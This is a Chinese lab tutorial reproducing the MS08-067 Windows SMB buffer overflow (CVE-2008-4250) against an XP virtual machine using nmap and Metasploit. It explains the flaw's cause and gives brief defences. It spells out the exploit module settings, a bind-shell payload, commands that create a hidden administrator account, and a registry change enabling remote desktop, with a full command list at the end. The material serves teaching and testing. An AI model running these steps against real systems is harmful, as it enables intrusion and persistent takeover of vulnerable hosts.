Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

華為雲開發者社群發表於2021-11-16
摘要:詳細講解MS08-067遠端程式碼執行漏洞(CVE-2008-4250)及防禦過程

本文分享自華為雲社群《Windows漏洞利用之MS08-067遠端程式碼執行漏洞復現及深度防禦》,作者:eastmount 。

一.漏洞描述

MS08-067漏洞全稱是“Windows Server服務RPC請求緩衝區溢位漏洞”,攻擊者利用受害者主機預設開放的SMB服務埠445,傳送特殊RPC(Remote Procedure Call,遠端過程呼叫)請求,造成棧緩衝區記憶體錯誤,從而被利用實施遠端程式碼執行。

當使用者在受影響的系統上收到RPC請求時,該漏洞會允許遠端執行程式碼,攻擊者可以在未經身份驗證情況下利用此漏洞執行任意程式碼。同時,該漏洞可以用於蠕蟲攻擊。它影響了某些舊版本的Windows系統,包括:

  • Windows 2000
  • Windows XP
  • Windows Server 2003

漏洞原理:

MS08-067漏洞是通過MSRPC over SMB通道呼叫Server程式中的NEtPathCanonicalize函式時觸發的。NetPathCanonicalize函式在遠端訪問其他主機時,會呼叫NetpwPathCanonicalize函式,對遠端訪問的路徑進行規範化,而在NetpwPathCanonicalize函式中發生了棧緩衝區記憶體錯誤(溢位),造成可被利用實施遠端程式碼執行(Remote Code Execution)。後續部分我將分析該漏洞的CFG流程圖及漏洞成因。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

本文參考了很多大佬的文章,再次感謝他們。實驗部分是結合自己的實踐和經驗講解,如果存在錯誤或不足之處,也請批評和指正。

二.環境搭建

1.環境準備

  • 受害機:Windows XP SP1映象
  • 攻擊機:Kali系統

第一步,在虛擬機器中安裝Windows XP SP1系統和Kali系統。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第二步,虛擬機器兩個系統之間能夠相互通訊。

  • Kali:192.168.44.136
  • Win XP:192.168.44.135

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第三步,開啟Windows XP系統,確定445埠開啟。如下圖所示,在Win XP的CMD中輸入“netstat -sn”檢視埠445是否開啟。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第四步,關閉Windows XP系統的防火牆。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

做完這些初始準備之後,我們開始利用Kali系統進行漏洞復現。

2.埠詳解

這裡作者補充一些埠的基礎知識,更有利於我們進行Web滲透實驗。

(1) 埠作用

我們知道,一臺擁有IP地址的主機可以提供許多服務,比如Web服務、FTP服務、SMTP服務等,這些服務完全可以通過1個IP地址來實現。那麼,主機是怎麼區分不同的網路服務呢?顯然不能只靠IP地址,因為IP地址與網路服務的關係是一對多的關係,實際上是通過“IP地址+埠號”來區分不同的服務的。

需要注意的是,埠並不是一一對應的。比如你的電腦作為客戶機訪問一臺WWW伺服器時,WWW伺服器使用“80”埠與你的電腦通訊,但你的電腦則可能使用“3456”這樣的埠。如下圖所示:

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

(2) 埠的分類

埠共1-65535號,知名埠範圍從0到1023,這些埠號一般固定分配給一些服務,大家儘量不要使用。比如21埠分配給FTP服務,25端號分配給SMTP郵件傳輸協議服務,80埠分配給HTTP服務,135埠分配給RPC遠端過程呼叫服務等等。

動態埠的範圍從1024到65535,這些埠號一般不固定分配給某個服務,也就是說許多服務都可以使用這些埠。只要執行的程式向系統提出訪問網路的申請,那麼系統就可以從這些埠號中分配一個供該程式使用。比如1024埠就是分配給第一個向系統發出申請的程式,在關閉程式程式後,就會釋放所佔用的埠號。注意,埠衝突就不能正常工作。

同時,動態埠號也常常被病毒木馬程式所利用,如冰河預設連線埠號是7626、WAY 2.4連線埠號是8011、Netspy 3.0連線埠號是7306、YAI病毒連線埠號是1024等等。

(3) 常見的埠

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

(4) 黑客通過埠可以幹什麼

  • 資訊收集
  • 目標探測
  • 服務判斷
  • 系統判斷
  • 角色分析

(5) 445埠

謝公子大佬在 “135、137、138、139和445埠” 文章中介紹過這些埠,它們都是與檔案共享和印表機共享有關的埠,而且在這幾個埠上經常爆發很嚴重的漏洞。比如2017年危害全球的永恆之藍,就是利用的445埠。

本篇文章的445埠就是利用SMB(Server Message Block)Windows協議族,用於檔案共享、列印共享的服務。445埠是一個譭譽參半的埠,有了它我們可以在區域網中輕鬆訪問各種共享資料夾或共享印表機,但也正是因為有了它,黑客們才有了可乘之機,他們能通過該埠偷偷共享你的硬碟,甚至會在悄無聲息中將你的硬碟格式化掉!

總之,公開伺服器開啟139和445埠是一件非常危險的事情。 如果有Guest帳號,而且沒有設定任何密碼時,就能夠被人通過因特網輕鬆地盜看檔案。如果給該帳號設定了寫入許可權,甚至可以輕鬆地篡改檔案。也就是說在對外部公開的伺服器中不應該開啟這些埠。通過因特網使用檔案伺服器就等同自殺行為,因此一定要關閉139和445埠。對於利用ADSL永久性接入因特網的客戶端機器可以說也是如此。

三.利用Metasploit復現漏洞

  • 攻擊機:Kali - 192.168.44.136
  • 受害機:Win XP - 192.168.44.135

第一步,利用Nmap工具掃描埠及確認該漏洞是否存在。

nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

nmap漏掃指令碼目錄為“/usr/share/nmap/script/”,如下圖所示,掃描結果為VULNERABLE,表示MS0808-067漏洞存在且可以利用。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

或者使用 “nmap -sV -Pn 192.168.44.135” 檢視目標主機開放的埠。目標機開放了135、139、445、1025、5000埠,且目標機系統為Windows XP。作為黑客,一看到XP或2003系統的445埠開放,我們就能想到轟動一時的MS08-067。

nmap  -sV -Pn 192.168.44.135

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第二步,進入Msfconsole並利用search語句查詢漏洞利用模組。

終端內輸入msfconsole開啟metasploite命令列客戶端,使用search命令查詢ms08-067的漏洞利用模組。

msfconsole
search ms08-067

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第三步,進入漏洞模組,並檢視相關的使用說明。

使用use命令選擇我們要使用的利用模組。target設定為系統預設是自動定位,如果需要精確定位,可以show targets檢視所有,然後進行選擇。

use exploit/windows/smb/ms08_067_netapi
show options
show targets

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第四步,設定攻擊機、受害機資訊。

# 目標機ip
set RHOST 192.168.44.135
# 埠號
set RPORT 445
# 設定payload
set payload generic/shell_bind_tcp
# 攻擊機ip
set LHOST 192.168.44.136
# 設定自動型別
set target 0
# 顯示配置資訊
show options

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第五步,執行exploit反彈shell。

此時我們成功獲取了Windows XP系統的Shell,我們呼叫“ipconfig”檢視的IP地址也是目標的“192.168.44.135”。

exploit
session 1
ipconfig
pwd

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

注意:Windows XP SP1系統是中文而不是英文的,需要對ms08_067_netapi_ser2003_zh.rb處理。

  • 參考:MS08-067 遠端執行程式碼 漏洞復現 - feizianquan

第六步,在目標主機上建立資料夾及檔案。

cd ..
# 建立資料夾
mkdir hacker
# 訪問目錄
dir
cd hacker
# 建立檔案並寫入內容
echo eastmount>test.txt
# 檢視目標系統的基本資訊
sysinfo

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

顯示結果下圖所示:

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第七步,對目標XP主機進行深度提權。

# 增加普通使用者
net user hacker 123456 /add 
# 提升管理員許可權
net localgroup administrators hacker /add

Windows DOM使用者常用命令如下:

  • net user abcd 1234 /add
    新建一個使用者名稱為abcd,密碼為1234的帳戶,預設為user組成員
  • net user abcd /del
    將使用者名稱為abcd的使用者刪除
  • net user abcd /active:no
    將使用者名稱為abcd的使用者禁用
  • net user abcd /active:yes
    啟用使用者名稱為abcd的使用者
  • net user abcd
    檢視使用者名稱為abcd的使用者的情況
  • net localgroup administrators abcd /add
    將abcd賬戶給予管理員許可權

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

此時被攻擊的主機新增“hacker”管理員如下圖所示:

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

第八步,開啟遠端連線3389埠並進行遠端操作。

# 開啟遠端連線
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 檢視網路埠
netstat -an
# 遠端連線
rdesktop 192.168.44.135

首先檢視埠,發現目標主機Windows XP並未開啟3389埠。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

輸入命令開啟遠端連線埠。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

接著輸入“rdesktop 192.168.44.135”連線遠端IP地址,並輸入我們建立好的hacker使用者名稱及密碼。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

輸入建立的使用者名稱hacker和密碼123456回車,彈出提示框點選OK,稍等就會成功遠端登入XP系統。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

最後,我們還需要將新建的使用者名稱hacker刪除。寫到這裡,整個實驗就講解完畢。

四.常見錯誤及漏洞原因分析

1.常見錯誤

我們在執行exploit執行漏洞利用模組時,有時會有相關錯誤。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:

  • Windows XP系統關閉防火牆
  • 漏洞不穩定多嘗試幾次

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

有時XP系統會提示“Generic Host Process for win32 services”錯誤。這是svchost.exe錯誤,記憶體溢位造成。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

最終作者解決了XP系統無法提權的問題,在呼叫“show payloads”設定攻擊載荷時,當我採用“set payload generic/shell_reverse_tcp”就會報錯,最後我將Payload修改為“set payload generic/shell_bind_tcp”。

  • 反彈shell失敗:set payload generic/shell_reverse_tcp
  • 反彈shell成功:set payload generic/shell_bind_tcp

如果仍然失敗,可能需要換其他XP或2003系統進行嘗試。祝好運~

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

2.漏洞成因

如果想了解該漏洞的原理知識,推薦以下三篇文章,後續作者也需要深入去分析各種漏洞的原始碼。

MS08-067漏洞是通過MSRPC over SMB通道呼叫Server服務程式中的NetPathCanonicalize函式時觸發的,而NetPathCanonicalize函式在遠端訪問其他主機時,會呼叫NetpwPathCanonicalize函式,對遠端訪問的路徑進行規範化,而在NetpwPathCanonicalize函式中發生了棧緩衝區記憶體錯誤,造成可被利用實施遠端程式碼執行。

所謂路徑規範化,就是將路徑字串中的【/】轉換為【\】,同時去除相對路徑【.\】和【..\】。如:
**/*/./**   =>  **\*\**
**\*\..\**  =>  **\**

在路徑規範化的操作中,服務程式對路徑字串的地址空間檢查存在邏輯漏洞。攻擊者通過精心設計輸入路徑,可以在函式去除【…\】字串時,把路徑字串中內容複製到路徑串之前的地址空間中(低地址),達到覆蓋函式返回地址,執行任意程式碼的目的。

這裡通過IDA Pro開啟c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函式並雙擊。通過觀察其流程圖CFG可知,此函式並沒有直接進行輸入路徑和規範化,而是呼叫了下級函式CanonicalizePathName來進行路徑整理,將待整理的路徑字串進行規範化,然後再儲存到預先分配的輸出路徑緩衝區buffer中,最終造成緩衝區溢位漏洞。

Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦

五.總結

寫到這裡,這篇文章就介紹結束了,通過本次實驗我們復現了MS08-067遠端程式碼執行漏洞,涉及漏洞發現、驗證漏洞、利用漏洞的完整過程,並利用Metasploit工具進行shell反彈及深入理解,希望對您有所幫助。如何進行防禦呢?一方面關閉相關埠、安裝防毒軟體和補丁,另一方面在防火牆中進行流量監測,主要是針對資料包中存在的形如"\ ** \ … \ … \ *"這樣的惡意路徑名進行檢測,最為保險的方法是使用pcre正則去匹配。

本次實驗的完整命令:

# 埠查詢
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

# 查詢漏洞利用模組
msfconsole
search ms08-067

# 漏洞利用
use exploit/windows/smb/ms08_067_netapi
show options
show targets

# 設定相關配置資訊
set RHOST 192.168.44.135
set RPORT 445
set payload generic/shell_bind_tcp
set LHOST 192.168.44.136
set target 0
show options

# 反彈shell
exploit
session 1
ipconfig
pwd

# 目標主機檔案操作
cd ..
mkdir hacker
dir
cd hacker
echo eastmount>test.txt
sysinfo

# 深度提權及遠端連線操作
net user hacker 123456 /add 
net localgroup administrators hacker /add
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
netstat -an
rdesktop 192.168.44.135

 

點選關注,第一時間瞭解華為雲新鮮技術~

相關文章